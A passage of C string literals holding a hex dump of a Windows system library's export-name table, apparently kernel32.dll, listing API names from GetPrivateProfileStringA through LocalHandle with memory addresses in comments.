"\x72\x6F\x66\x69\x6C\x65\x53\x74\x72\x69\x6E\x67\x41\x00\x47\x65" // rofileStringA.Ge /* 7C806A00 */ "\x74\x50\x72\x69\x76\x61\x74\x65\x50\x72\x6F\x66\x69\x6C\x65\x53" // tPrivateProfileS /* 7C806A10 */ "\x74\x72\x69\x6E\x67\x57\x00\x47\x65\x74\x50\x72\x69\x76\x61\x74" // tringW.GetPrivat /* 7C806A20 */ "\x65\x50\x72\x6F\x66\x69\x6C\x65\x53\x74\x72\x75\x63\x74\x41\x00" // eProfileStructA. /* 7C806A30 */ "\x47\x65\x74\x50\x72\x69\x76\x61\x74\x65\x50\x72\x6F\x66\x69\x6C" // GetPrivateProfil /* 7C806A40 */ "\x65\x53\x74\x72\x75\x63\x74\x57\x00\x47\x65\x74\x50\x72\x6F\x63" // eStructW.GetProc /* 7C806A50 */ "\x41\x64\x64\x72\x65\x73\x73\x00\x47\x65\x74\x50\x72\x6F\x63\x65" // Address.GetProce /* 7C806A60 */ "\x73\x73\x41\x66\x66\x69\x6E\x69\x74\x79\x4D\x61\x73\x6B\x00\x47" // ssAffinityMask.G /* 7C806A70 */ "\x65\x74\x50\x72\x6F\x63\x65\x73\x73\x48\x61\x6E\x64\x6C\x65\x43" // etProcessHandleC /* 7C806A80 */ "\x6F\x75\x6E\x74\x00\x47\x65\x74\x50\x72\x6F\x63\x65\x73\x73\x48" // ount.GetProcessH /* 7C806A90 */ "\x65\x61\x70\x00\x47\x65\x74\x50\x72\x6F\x63\x65\x73\x73\x48\x65" // eap.GetProcessHe /* 7C806AA0 */ "\x61\x70\x73\x00\x47\x65\x74\x50\x72\x6F\x63\x65\x73\x73\x49\x64" // aps.GetProcessId /* 7C806AB0 */ "\x00\x47\x65\x74\x50\x72\x6F\x63\x65\x73\x73\x49\x6F\x43\x6F\x75" // .GetProcessIoCou /* 7C806AC0 */ "\x6E\x74\x65\x72\x73\x00\x47\x65\x74\x50\x72\x6F\x63\x65\x73\x73" // nters.GetProcess /* 7C806AD0 */ "\x50\x72\x69\x6F\x72\x69\x74\x79\x42\x6F\x6F\x73\x74\x00\x47\x65" // PriorityBoost.Ge /* 7C806AE0 */ "\x74\x50\x72\x6F\x63\x65\x73\x73\x53\x68\x75\x74\x64\x6F\x77\x6E" // tProcessShutdown /* 7C806AF0 */ "\x50\x61\x72\x61\x6D\x65\x74\x65\x72\x73\x00\x47\x65\x74\x50\x72" // Parameters.GetPr /* 7C806B00 */ "\x6F\x63\x65\x73\x73\x54\x69\x6D\x65\x73\x00\x47\x65\x74\x50\x72" // ocessTimes.GetPr /* 7C806B10 */ "\x6F\x63\x65\x73\x73\x56\x65\x72\x73\x69\x6F\x6E\x00\x47\x65\x74" // ocessVersion.Get /* 7C806B20 */ "\x50\x72\x6F\x63\x65\x73\x73\x57\x6F\x72\x6B\x69\x6E\x67\x53\x65" // ProcessWorkingSe /* 7C806B30 */ "\x74\x53\x69\x7A\x65\x00\x47\x65\x74\x50\x72\x6F\x66\x69\x6C\x65" // tSize.GetProfile /* 7C806B40 */ "\x49\x6E\x74\x41\x00\x47\x65\x74\x50\x72\x6F\x66\x69\x6C\x65\x49" // IntA.GetProfileI /* 7C806B50 */ "\x6E\x74\x57\x00\x47\x65\x74\x50\x72\x6F\x66\x69\x6C\x65\x53\x65" // ntW.GetProfileSe /* 7C806B60 */ "\x63\x74\x69\x6F\x6E\x41\x00\x47\x65\x74\x50\x72\x6F\x66\x69\x6C" // ctionA.GetProfil /* 7C806B70 */ "\x65\x53\x65\x63\x74\x69\x6F\x6E\x57\x00\x47\x65\x74\x50\x72\x6F" // eSectionW.GetPro /* 7C806B80 */ "\x66\x69\x6C\x65\x53\x74\x72\x69\x6E\x67\x41\x00\x47\x65\x74\x50" // fileStringA.GetP /* 7C806B90 */ "\x72\x6F\x66\x69\x6C\x65\x53\x74\x72\x69\x6E\x67\x57\x00\x47\x65" // rofileStringW.Ge /* 7C806BA0 */ "\x74\x51\x75\x65\x75\x65\x64\x43\x6F\x6D\x70\x6C\x65\x74\x69\x6F" // tQueuedCompletio /* 7C806BB0 */ "\x6E\x53\x74\x61\x74\x75\x73\x00\x47\x65\x74\x53\x68\x6F\x72\x74" // nStatus.GetShort /* 7C806BC0 */ "\x50\x61\x74\x68\x4E\x61\x6D\x65\x41\x00\x47\x65\x74\x53\x68\x6F" // PathNameA.GetSho /* 7C806BD0 */ "\x72\x74\x50\x61\x74\x68\x4E\x61\x6D\x65\x57\x00\x47\x65\x74\x53" // rtPathNameW.GetS /* 7C806BE0 */ "\x74\x61\x72\x74\x75\x70\x49\x6E\x66\x6F\x41\x00\x47\x65\x74\x53" // tartupInfoA.GetS /* 7C806BF0 */ "\x74\x61\x72\x74\x75\x70\x49\x6E\x66\x6F\x57\x00\x47\x65\x74\x53" // tartupInfoW.GetS /* 7C806C00 */ "\x74\x64\x48\x61\x6E\x64\x6C\x65\x00\x47\x65\x74\x53\x74\x72\x69" // tdHandle.GetStri /* 7C806C10 */ "\x6E\x67\x54\x79\x70\x65\x41\x00\x47\x65\x74\x53\x74\x72\x69\x6E" // ngTypeA.GetStrin /* 7C806C20 */ "\x67\x54\x79\x70\x65\x45\x78\x41\x00\x47\x65\x74\x53\x74\x72\x69" // gTypeExA.GetStri /* 7C806C30 */ "\x6E\x67\x54\x79\x70\x65\x45\x78\x57\x00\x47\x65\x74\x53\x74\x72" // ngTypeExW.GetStr /* 7C806C40 */ "\x69\x6E\x67\x54\x79\x70\x65\x57\x00\x47\x65\x74\x53\x79\x73\x74" // ingTypeW.GetSyst /* 7C806C50 */ "\x65\x6D\x44\x65\x66\x61\x75\x6C\x74\x4C\x43\x49\x44\x00\x47\x65" // emDefaultLCID.Ge /* 7C806C60 */ "\x74\x53\x79\x73\x74\x65\x6D\x44\x65\x66\x61\x75\x6C\x74\x4C\x61" // tSystemDefaultLa /* 7C806C70 */ "\x6E\x67\x49\x44\x00\x47\x65\x74\x53\x79\x73\x74\x65\x6D\x44\x65" // ngID.GetSystemDe /* 7C806C80 */ "\x66\x61\x75\x6C\x74\x55\x49\x4C\x61\x6E\x67\x75\x61\x67\x65\x00" // faultUILanguage. /* 7C806C90 */ "\x47\x65\x74\x53\x79\x73\x74\x65\x6D\x44\x69\x72\x65\x63\x74\x6F" // GetSystemDirecto /* 7C806CA0 */ "\x72\x79\x41\x00\x47\x65\x74\x53\x79\x73\x74\x65\x6D\x44\x69\x72" // ryA.GetSystemDir /* 7C806CB0 */ "\x65\x63\x74\x6F\x72\x79\x57\x00\x47\x65\x74\x53\x79\x73\x74\x65" // ectoryW.GetSyste /* 7C806CC0 */ "\x6D\x49\x6E\x66\x6F\x00\x47\x65\x74\x53\x79\x73\x74\x65\x6D\x50" // mInfo.GetSystemP /* 7C806CD0 */ "\x6F\x77\x65\x72\x53\x74\x61\x74\x75\x73\x00\x47\x65\x74\x53\x79" // owerStatus.GetSy /* 7C806CE0 */ "\x73\x74\x65\x6D\x52\x65\x67\x69\x73\x74\x72\x79\x51\x75\x6F\x74" // stemRegistryQuot /* 7C806CF0 */ "\x61\x00\x47\x65\x74\x53\x79\x73\x74\x65\x6D\x54\x69\x6D\x65\x00" // a.GetSystemTime. /* 7C806D00 */ "\x47\x65\x74\x53\x79\x73\x74\x65\x6D\x54\x69\x6D\x65\x41\x64\x6A" // GetSystemTimeAdj /* 7C806D10 */ "\x75\x73\x74\x6D\x65\x6E\x74\x00\x47\x65\x74\x53\x79\x73\x74\x65" // ustment.GetSyste /* 7C806D20 */ "\x6D\x54\x69\x6D\x65\x41\x73\x46\x69\x6C\x65\x54\x69\x6D\x65\x00" // mTimeAsFileTime. /* 7C806D30 */ "\x47\x65\x74\x53\x79\x73\x74\x65\x6D\x54\x69\x6D\x65\x73\x00\x47" // GetSystemTimes.G /* 7C806D40 */ "\x65\x74\x53\x79\x73\x74\x65\x6D\x57\x69\x6E\x64\x6F\x77\x73\x44" // etSystemWindowsD /* 7C806D50 */ "\x69\x72\x65\x63\x74\x6F\x72\x79\x41\x00\x47\x65\x74\x53\x79\x73" // irectoryA.GetSys /* 7C806D60 */ "\x74\x65\x6D\x57\x69\x6E\x64\x6F\x77\x73\x44\x69\x72\x65\x63\x74" // temWindowsDirect /* 7C806D70 */ "\x6F\x72\x79\x57\x00\x47\x65\x74\x53\x79\x73\x74\x65\x6D\x57\x6F" // oryW.GetSystemWo /* 7C806D80 */ "\x77\x36\x34\x44\x69\x72\x65\x63\x74\x6F\x72\x79\x41\x00\x47\x65" // w64DirectoryA.Ge /* 7C806D90 */ "\x74\x53\x79\x73\x74\x65\x6D\x57\x6F\x77\x36\x34\x44\x69\x72\x65" // tSystemWow64Dire /* 7C806DA0 */ "\x63\x74\x6F\x72\x79\x57\x00\x47\x65\x74\x54\x61\x70\x65\x50\x61" // ctoryW.GetTapePa /* 7C806DB0 */ "\x72\x61\x6D\x65\x74\x65\x72\x73\x00\x47\x65\x74\x54\x61\x70\x65" // rameters.GetTape /* 7C806DC0 */ "\x50\x6F\x73\x69\x74\x69\x6F\x6E\x00\x47\x65\x74\x54\x61\x70\x65" // Position.GetTape /* 7C806DD0 */ "\x53\x74\x61\x74\x75\x73\x00\x47\x65\x74\x54\x65\x6D\x70\x46\x69" // Status.GetTempFi /* 7C806DE0 */ "\x6C\x65\x4E\x61\x6D\x65\x41\x00\x47\x65\x74\x54\x65\x6D\x70\x46" // leNameA.GetTempF /* 7C806DF0 */ "\x69\x6C\x65\x4E\x61\x6D\x65\x57\x00\x47\x65\x74\x54\x65\x6D\x70" // ileNameW.GetTemp /* 7C806E00 */ "\x50\x61\x74\x68\x41\x00\x47\x65\x74\x54\x65\x6D\x70\x50\x61\x74" // PathA.GetTempPat /* 7C806E10 */ "\x68\x57\x00\x47\x65\x74\x54\x68\x72\x65\x61\x64\x43\x6F\x6E\x74" // hW.GetThreadCont /* 7C806E20 */ "\x65\x78\x74\x00\x47\x65\x74\x54\x68\x72\x65\x61\x64\x49\x4F\x50" // ext.GetThreadIOP /* 7C806E30 */ "\x65\x6E\x64\x69\x6E\x67\x46\x6C\x61\x67\x00\x47\x65\x74\x54\x68" // endingFlag.GetTh /* 7C806E40 */ "\x72\x65\x61\x64\x4C\x6F\x63\x61\x6C\x65\x00\x47\x65\x74\x54\x68" // readLocale.GetTh /* 7C806E50 */ "\x72\x65\x61\x64\x50\x72\x69\x6F\x72\x69\x74\x79\x00\x47\x65\x74" // readPriority.Get /* 7C806E60 */ "\x54\x68\x72\x65\x61\x64\x50\x72\x69\x6F\x72\x69\x74\x79\x42\x6F" // ThreadPriorityBo /* 7C806E70 */ "\x6F\x73\x74\x00\x47\x65\x74\x54\x68\x72\x65\x61\x64\x53\x65\x6C" // ost.GetThreadSel /* 7C806E80 */ "\x65\x63\x74\x6F\x72\x45\x6E\x74\x72\x79\x00\x47\x65\x74\x54\x68" // ectorEntry.GetTh /* 7C806E90 */ "\x72\x65\x61\x64\x54\x69\x6D\x65\x73\x00\x47\x65\x74\x54\x69\x63" // readTimes.GetTic /* 7C806EA0 */ "\x6B\x43\x6F\x75\x6E\x74\x00\x47\x65\x74\x54\x69\x6D\x65\x46\x6F" // kCount.GetTimeFo /* 7C806EB0 */ "\x72\x6D\x61\x74\x41\x00\x47\x65\x74\x54\x69\x6D\x65\x46\x6F\x72" // rmatA.GetTimeFor /* 7C806EC0 */ "\x6D\x61\x74\x57\x00\x47\x65\x74\x54\x69\x6D\x65\x5A\x6F\x6E\x65" // matW.GetTimeZone /* 7C806ED0 */ "\x49\x6E\x66\x6F\x72\x6D\x61\x74\x69\x6F\x6E\x00\x47\x65\x74\x55" // Information.GetU /* 7C806EE0 */ "\x73\x65\x72\x44\x65\x66\x61\x75\x6C\x74\x4C\x43\x49\x44\x00\x47" // serDefaultLCID.G /* 7C806EF0 */ "\x65\x74\x55\x73\x65\x72\x44\x65\x66\x61\x75\x6C\x74\x4C\x61\x6E" // etUserDefaultLan /* 7C806F00 */ "\x67\x49\x44\x00\x47\x65\x74\x55\x73\x65\x72\x44\x65\x66\x61\x75" // gID.GetUserDefau /* 7C806F10 */ "\x6C\x74\x55\x49\x4C\x61\x6E\x67\x75\x61\x67\x65\x00\x47\x65\x74" // ltUILanguage.Get /* 7C806F20 */ "\x55\x73\x65\x72\x47\x65\x6F\x49\x44\x00\x47\x65\x74\x56\x44\x4D" // UserGeoID.GetVDM /* 7C806F30 */ "\x43\x75\x72\x72\x65\x6E\x74\x44\x69\x72\x65\x63\x74\x6F\x72\x69" // CurrentDirectori /* 7C806F40 */ "\x65\x73\x00\x47\x65\x74\x56\x65\x72\x73\x69\x6F\x6E\x00\x47\x65" // es.GetVersion.Ge /* 7C806F50 */ "\x74\x56\x65\x72\x73\x69\x6F\x6E\x45\x78\x41\x00\x47\x65\x74\x56" // tVersionExA.GetV /* 7C806F60 */ "\x65\x72\x73\x69\x6F\x6E\x45\x78\x57\x00\x47\x65\x74\x56\x6F\x6C" // ersionExW.GetVol /* 7C806F70 */ "\x75\x6D\x65\x49\x6E\x66\x6F\x72\x6D\x61\x74\x69\x6F\x6E\x41\x00" // umeInformationA. /* 7C806F80 */ "\x47\x65\x74\x56\x6F\x6C\x75\x6D\x65\x49\x6E\x66\x6F\x72\x6D\x61" // GetVolumeInforma /* 7C806F90 */ "\x74\x69\x6F\x6E\x57\x00\x47\x65\x74\x56\x6F\x6C\x75\x6D\x65\x4E" // tionW.GetVolumeN /* 7C806FA0 */ "\x61\x6D\x65\x46\x6F\x72\x56\x6F\x6C\x75\x6D\x65\x4D\x6F\x75\x6E" // ameForVolumeMoun /* 7C806FB0 */ "\x74\x50\x6F\x69\x6E\x74\x41\x00\x47\x65\x74\x56\x6F\x6C\x75\x6D" // tPointA.GetVolum /* 7C806FC0 */ "\x65\x4E\x61\x6D\x65\x46\x6F\x72\x56\x6F\x6C\x75\x6D\x65\x4D\x6F" // eNameForVolumeMo /* 7C806FD0 */ "\x75\x6E\x74\x50\x6F\x69\x6E\x74\x57\x00\x47\x65\x74\x56\x6F\x6C" // untPointW.GetVol /* 7C806FE0 */ "\x75\x6D\x65\x50\x61\x74\x68\x4E\x61\x6D\x65\x41\x00\x47\x65\x74" // umePathNameA.Get /* 7C806FF0 */ "\x56\x6F\x6C\x75\x6D\x65\x50\x61\x74\x68\x4E\x61\x6D\x65\x57\x00" // VolumePathNameW. /* 7C807000 */ "\x47\x65\x74\x56\x6F\x6C\x75\x6D\x65\x50\x61\x74\x68\x4E\x61\x6D" // GetVolumePathNam /* 7C807010 */ "\x65\x73\x46\x6F\x72\x56\x6F\x6C\x75\x6D\x65\x4E\x61\x6D\x65\x41" // esForVolumeNameA /* 7C807020 */ "\x00\x47\x65\x74\x56\x6F\x6C\x75\x6D\x65\x50\x61\x74\x68\x4E\x61" // .GetVolumePathNa /* 7C807030 */ "\x6D\x65\x73\x46\x6F\x72\x56\x6F\x6C\x75\x6D\x65\x4E\x61\x6D\x65" // mesForVolumeName /* 7C807040 */ "\x57\x00\x47\x65\x74\x57\x69\x6E\x64\x6F\x77\x73\x44\x69\x72\x65" // W.GetWindowsDire /* 7C807050 */ "\x63\x74\x6F\x72\x79\x41\x00\x47\x65\x74\x57\x69\x6E\x64\x6F\x77" // ctoryA.GetWindow /* 7C807060 */ "\x73\x44\x69\x72\x65\x63\x74\x6F\x72\x79\x57\x00\x47\x65\x74\x57" // sDirectoryW.GetW /* 7C807070 */ "\x72\x69\x74\x65\x57\x61\x74\x63\x68\x00\x47\x6C\x6F\x62\x61\x6C" // riteWatch.Global /* 7C807080 */ "\x41\x64\x64\x41\x74\x6F\x6D\x41\x00\x47\x6C\x6F\x62\x61\x6C\x41" // AddAtomA.GlobalA /* 7C807090 */ "\x64\x64\x41\x74\x6F\x6D\x57\x00\x47\x6C\x6F\x62\x61\x6C\x41\x6C" // ddAtomW.GlobalAl /* 7C8070A0 */ "\x6C\x6F\x63\x00\x47\x6C\x6F\x62\x61\x6C\x43\x6F\x6D\x70\x61\x63" // loc.GlobalCompac /* 7C8070B0 */ "\x74\x00\x47\x6C\x6F\x62\x61\x6C\x44\x65\x6C\x65\x74\x65\x41\x74" // t.GlobalDeleteAt /* 7C8070C0 */ "\x6F\x6D\x00\x47\x6C\x6F\x62\x61\x6C\x46\x69\x6E\x64\x41\x74\x6F" // om.GlobalFindAto /* 7C8070D0 */ "\x6D\x41\x00\x47\x6C\x6F\x62\x61\x6C\x46\x69\x6E\x64\x41\x74\x6F" // mA.GlobalFindAto /* 7C8070E0 */ "\x6D\x57\x00\x47\x6C\x6F\x62\x61\x6C\x46\x69\x78\x00\x47\x6C\x6F" // mW.GlobalFix.Glo /* 7C8070F0 */ "\x62\x61\x6C\x46\x6C\x61\x67\x73\x00\x47\x6C\x6F\x62\x61\x6C\x46" // balFlags.GlobalF /* 7C807100 */ "\x72\x65\x65\x00\x47\x6C\x6F\x62\x61\x6C\x47\x65\x74\x41\x74\x6F" // ree.GlobalGetAto /* 7C807110 */ "\x6D\x4E\x61\x6D\x65\x41\x00\x47\x6C\x6F\x62\x61\x6C\x47\x65\x74" // mNameA.GlobalGet /* 7C807120 */ "\x41\x74\x6F\x6D\x4E\x61\x6D\x65\x57\x00\x47\x6C\x6F\x62\x61\x6C" // AtomNameW.Global /* 7C807130 */ "\x48\x61\x6E\x64\x6C\x65\x00\x47\x6C\x6F\x62\x61\x6C\x4C\x6F\x63" // Handle.GlobalLoc /* 7C807140 */ "\x6B\x00\x47\x6C\x6F\x62\x61\x6C\x4D\x65\x6D\x6F\x72\x79\x53\x74" // k.GlobalMemorySt /* 7C807150 */ "\x61\x74\x75\x73\x00\x47\x6C\x6F\x62\x61\x6C\x4D\x65\x6D\x6F\x72" // atus.GlobalMemor /* 7C807160 */ "\x79\x53\x74\x61\x74\x75\x73\x45\x78\x00\x47\x6C\x6F\x62\x61\x6C" // yStatusEx.Global /* 7C807170 */ "\x52\x65\x41\x6C\x6C\x6F\x63\x00\x47\x6C\x6F\x62\x61\x6C\x53\x69" // ReAlloc.GlobalSi /* 7C807180 */ "\x7A\x65\x00\x47\x6C\x6F\x62\x61\x6C\x55\x6E\x57\x69\x72\x65\x00" // ze.GlobalUnWire. /* 7C807190 */ "\x47\x6C\x6F\x62\x61\x6C\x55\x6E\x66\x69\x78\x00\x47\x6C\x6F\x62" // GlobalUnfix.Glob /* 7C8071A0 */ "\x61\x6C\x55\x6E\x6C\x6F\x63\x6B\x00\x47\x6C\x6F\x62\x61\x6C\x57" // alUnlock.GlobalW /* 7C8071B0 */ "\x69\x72\x65\x00\x48\x65\x61\x70\x33\x32\x46\x69\x72\x73\x74\x00" // ire.Heap32First. /* 7C8071C0 */ "\x48\x65\x61\x70\x33\x32\x4C\x69\x73\x74\x46\x69\x72\x73\x74\x00" // Heap32ListFirst. /* 7C8071D0 */ "\x48\x65\x61\x70\x33\x32\x4C\x69\x73\x74\x4E\x65\x78\x74\x00\x48" // Heap32ListNext.H /* 7C8071E0 */ "\x65\x61\x70\x33\x32\x4E\x65\x78\x74\x00\x48\x65\x61\x70\x41\x6C" // eap32Next.HeapAl /* 7C8071F0 */ "\x6C\x6F\x63\x00\x48\x65\x61\x70\x43\x6F\x6D\x70\x61\x63\x74\x00" // loc.HeapCompact. /* 7C807200 */ "\x48\x65\x61\x70\x43\x72\x65\x61\x74\x65\x00\x48\x65\x61\x70\x43" // HeapCreate.HeapC /* 7C807210 */ "\x72\x65\x61\x74\x65\x54\x61\x67\x73\x57\x00\x48\x65\x61\x70\x44" // reateTagsW.HeapD /* 7C807220 */ "\x65\x73\x74\x72\x6F\x79\x00\x48\x65\x61\x70\x45\x78\x74\x65\x6E" // estroy.HeapExten /* 7C807230 */ "\x64\x00\x48\x65\x61\x70\x46\x72\x65\x65\x00\x48\x65\x61\x70\x4C" // d.HeapFree.HeapL /* 7C807240 */ "\x6F\x63\x6B\x00\x48\x65\x61\x70\x51\x75\x65\x72\x79\x49\x6E\x66" // ock.HeapQueryInf /* 7C807250 */ "\x6F\x72\x6D\x61\x74\x69\x6F\x6E\x00\x48\x65\x61\x70\x51\x75\x65" // ormation.HeapQue /* 7C807260 */ "\x72\x79\x54\x61\x67\x57\x00\x48\x65\x61\x70\x52\x65\x41\x6C\x6C" // ryTagW.HeapReAll /* 7C807270 */ "\x6F\x63\x00\x48\x65\x61\x70\x53\x65\x74\x49\x6E\x66\x6F\x72\x6D" // oc.HeapSetInform /* 7C807280 */ "\x61\x74\x69\x6F\x6E\x00\x48\x65\x61\x70\x53\x69\x7A\x65\x00\x48" // ation.HeapSize.H /* 7C807290 */ "\x65\x61\x70\x53\x75\x6D\x6D\x61\x72\x79\x00\x48\x65\x61\x70\x55" // eapSummary.HeapU /* 7C8072A0 */ "\x6E\x6C\x6F\x63\x6B\x00\x48\x65\x61\x70\x55\x73\x61\x67\x65\x00" // nlock.HeapUsage. /* 7C8072B0 */ "\x48\x65\x61\x70\x56\x61\x6C\x69\x64\x61\x74\x65\x00\x48\x65\x61" // HeapValidate.Hea /* 7C8072C0 */ "\x70\x57\x61\x6C\x6B\x00\x49\x6E\x69\x74\x41\x74\x6F\x6D\x54\x61" // pWalk.InitAtomTa /* 7C8072D0 */ "\x62\x6C\x65\x00\x49\x6E\x69\x74\x69\x61\x6C\x69\x7A\x65\x43\x72" // ble.InitializeCr /* 7C8072E0 */ "\x69\x74\x69\x63\x61\x6C\x53\x65\x63\x74\x69\x6F\x6E\x00\x49\x6E" // iticalSection.In /* 7C8072F0 */ "\x69\x74\x69\x61\x6C\x69\x7A\x65\x43\x72\x69\x74\x69\x63\x61\x6C" // itializeCritical /* 7C807300 */ "\x53\x65\x63\x74\x69\x6F\x6E\x41\x6E\x64\x53\x70\x69\x6E\x43\x6F" // SectionAndSpinCo /* 7C807310 */ "\x75\x6E\x74\x00\x49\x6E\x69\x74\x69\x61\x6C\x69\x7A\x65\x53\x4C" // unt.InitializeSL /* 7C807320 */ "\x69\x73\x74\x48\x65\x61\x64\x00\x49\x6E\x74\x65\x72\x6C\x6F\x63" // istHead.Interloc /* 7C807330 */ "\x6B\x65\x64\x43\x6F\x6D\x70\x61\x72\x65\x45\x78\x63\x68\x61\x6E" // kedCompareExchan /* 7C807340 */ "\x67\x65\x00\x49\x6E\x74\x65\x72\x6C\x6F\x63\x6B\x65\x64\x44\x65" // ge.InterlockedDe /* 7C807350 */ "\x63\x72\x65\x6D\x65\x6E\x74\x00\x49\x6E\x74\x65\x72\x6C\x6F\x63" // crement.Interloc /* 7C807360 */ "\x6B\x65\x64\x45\x78\x63\x68\x61\x6E\x67\x65\x00\x49\x6E\x74\x65" // kedExchange.Inte /* 7C807370 */ "\x72\x6C\x6F\x63\x6B\x65\x64\x45\x78\x63\x68\x61\x6E\x67\x65\x41" // rlockedExchangeA /* 7C807380 */ "\x64\x64\x00\x49\x6E\x74\x65\x72\x6C\x6F\x63\x6B\x65\x64\x46\x6C" // dd.InterlockedFl /* 7C807390 */ "\x75\x73\x68\x53\x4C\x69\x73\x74\x00\x49\x6E\x74\x65\x72\x6C\x6F" // ushSList.Interlo /* 7C8073A0 */ "\x63\x6B\x65\x64\x49\x6E\x63\x72\x65\x6D\x65\x6E\x74\x00\x49\x6E" // ckedIncrement.In /* 7C8073B0 */ "\x74\x65\x72\x6C\x6F\x63\x6B\x65\x64\x50\x6F\x70\x45\x6E\x74\x72" // terlockedPopEntr /* 7C8073C0 */ "\x79\x53\x4C\x69\x73\x74\x00\x49\x6E\x74\x65\x72\x6C\x6F\x63\x6B" // ySList.Interlock /* 7C8073D0 */ "\x65\x64\x50\x75\x73\x68\x45\x6E\x74\x72\x79\x53\x4C\x69\x73\x74" // edPushEntrySList /* 7C8073E0 */ "\x00\x49\x6E\x76\x61\x6C\x69\x64\x61\x74\x65\x43\x6F\x6E\x73\x6F" // .InvalidateConso /* 7C8073F0 */ "\x6C\x65\x44\x49\x42\x69\x74\x73\x00\x49\x73\x42\x61\x64\x43\x6F" // leDIBits.IsBadCo /* 7C807400 */ "\x64\x65\x50\x74\x72\x00\x49\x73\x42\x61\x64\x48\x75\x67\x65\x52" // dePtr.IsBadHugeR /* 7C807410 */ "\x65\x61\x64\x50\x74\x72\x00\x49\x73\x42\x61\x64\x48\x75\x67\x65" // eadPtr.IsBadHuge /* 7C807420 */ "\x57\x72\x69\x74\x65\x50\x74\x72\x00\x49\x73\x42\x61\x64\x52\x65" // WritePtr.IsBadRe /* 7C807430 */ "\x61\x64\x50\x74\x72\x00\x49\x73\x42\x61\x64\x53\x74\x72\x69\x6E" // adPtr.IsBadStrin /* 7C807440 */ "\x67\x50\x74\x72\x41\x00\x49\x73\x42\x61\x64\x53\x74\x72\x69\x6E" // gPtrA.IsBadStrin /* 7C807450 */ "\x67\x50\x74\x72\x57\x00\x49\x73\x42\x61\x64\x57\x72\x69\x74\x65" // gPtrW.IsBadWrite /* 7C807460 */ "\x50\x74\x72\x00\x49\x73\x44\x42\x43\x53\x4C\x65\x61\x64\x42\x79" // Ptr.IsDBCSLeadBy /* 7C807470 */ "\x74\x65\x00\x49\x73\x44\x42\x43\x53\x4C\x65\x61\x64\x42\x79\x74" // te.IsDBCSLeadByt /* 7C807480 */ "\x65\x45\x78\x00\x49\x73\x44\x65\x62\x75\x67\x67\x65\x72\x50\x72" // eEx.IsDebuggerPr /* 7C807490 */ "\x65\x73\x65\x6E\x74\x00\x49\x73\x50\x72\x6F\x63\x65\x73\x73\x49" // esent.IsProcessI /* 7C8074A0 */ "\x6E\x4A\x6F\x62\x00\x49\x73\x50\x72\x6F\x63\x65\x73\x73\x6F\x72" // nJob.IsProcessor /* 7C8074B0 */ "\x46\x65\x61\x74\x75\x72\x65\x50\x72\x65\x73\x65\x6E\x74\x00\x49" // FeaturePresent.I /* 7C8074C0 */ "\x73\x53\x79\x73\x74\x65\x6D\x52\x65\x73\x75\x6D\x65\x41\x75\x74" // sSystemResumeAut /* 7C8074D0 */ "\x6F\x6D\x61\x74\x69\x63\x00\x49\x73\x56\x61\x6C\x69\x64\x43\x6F" // omatic.IsValidCo /* 7C8074E0 */ "\x64\x65\x50\x61\x67\x65\x00\x49\x73\x56\x61\x6C\x69\x64\x4C\x61" // dePage.IsValidLa /* 7C8074F0 */ "\x6E\x67\x75\x61\x67\x65\x47\x72\x6F\x75\x70\x00\x49\x73\x56\x61" // nguageGroup.IsVa /* 7C807500 */ "\x6C\x69\x64\x4C\x6F\x63\x61\x6C\x65\x00\x49\x73\x56\x61\x6C\x69" // lidLocale.IsVali /* 7C807510 */ "\x64\x55\x49\x4C\x61\x6E\x67\x75\x61\x67\x65\x00\x49\x73\x57\x6F" // dUILanguage.IsWo /* 7C807520 */ "\x77\x36\x34\x50\x72\x6F\x63\x65\x73\x73\x00\x4C\x43\x4D\x61\x70" // w64Process.LCMap /* 7C807530 */ "\x53\x74\x72\x69\x6E\x67\x41\x00\x4C\x43\x4D\x61\x70\x53\x74\x72" // StringA.LCMapStr /* 7C807540 */ "\x69\x6E\x67\x57\x00\x4C\x5A\x43\x6C\x6F\x73\x65\x00\x4C\x5A\x43" // ingW.LZClose.LZC /* 7C807550 */ "\x6C\x6F\x73\x65\x46\x69\x6C\x65\x00\x4C\x5A\x43\x6F\x70\x79\x00" // loseFile.LZCopy. /* 7C807560 */ "\x4C\x5A\x43\x72\x65\x61\x74\x65\x46\x69\x6C\x65\x57\x00\x4C\x5A" // LZCreateFileW.LZ /* 7C807570 */ "\x44\x6F\x6E\x65\x00\x4C\x5A\x49\x6E\x69\x74\x00\x4C\x5A\x4F\x70" // Done.LZInit.LZOp /* 7C807580 */ "\x65\x6E\x46\x69\x6C\x65\x41\x00\x4C\x5A\x4F\x70\x65\x6E\x46\x69" // enFileA.LZOpenFi /* 7C807590 */ "\x6C\x65\x57\x00\x4C\x5A\x52\x65\x61\x64\x00\x4C\x5A\x53\x65\x65" // leW.LZRead.LZSee /* 7C8075A0 */ "\x6B\x00\x4C\x5A\x53\x74\x61\x72\x74\x00\x4C\x65\x61\x76\x65\x43" // k.LZStart.LeaveC /* 7C8075B0 */ "\x72\x69\x74\x69\x63\x61\x6C\x53\x65\x63\x74\x69\x6F\x6E\x00\x4C" // riticalSection.L /* 7C8075C0 */ "\x6F\x61\x64\x4C\x69\x62\x72\x61\x72\x79\x41\x00\x4C\x6F\x61\x64" // oadLibraryA.Load /* 7C8075D0 */ "\x4C\x69\x62\x72\x61\x72\x79\x45\x78\x41\x00\x4C\x6F\x61\x64\x4C" // LibraryExA.LoadL /* 7C8075E0 */ "\x69\x62\x72\x61\x72\x79\x45\x78\x57\x00\x4C\x6F\x61\x64\x4C\x69" // ibraryExW.LoadLi /* 7C8075F0 */ "\x62\x72\x61\x72\x79\x57\x00\x4C\x6F\x61\x64\x4D\x6F\x64\x75\x6C" // braryW.LoadModul /* 7C807600 */ "\x65\x00\x4C\x6F\x61\x64\x52\x65\x73\x6F\x75\x72\x63\x65\x00\x4C" // e.LoadResource.L /* 7C807610 */ "\x6F\x63\x61\x6C\x41\x6C\x6C\x6F\x63\x00\x4C\x6F\x63\x61\x6C\x43" // ocalAlloc.LocalC /* 7C807620 */ "\x6F\x6D\x70\x61\x63\x74\x00\x4C\x6F\x63\x61\x6C\x46\x69\x6C\x65" // ompact.LocalFile /* 7C807630 */ "\x54\x69\x6D\x65\x54\x6F\x46\x69\x6C\x65\x54\x69\x6D\x65\x00\x4C" // TimeToFileTime.L /* 7C807640 */ "\x6F\x63\x61\x6C\x46\x6C\x61\x67\x73\x00\x4C\x6F\x63\x61\x6C\x46" // ocalFlags.LocalF /* 7C807650 */ "\x72\x65\x65\x00\x4C\x6F\x63\x61\x6C\x48\x61\x6E\x64\x6C\x65\x00" // ree.LocalHandle. /* 7C807660 */ 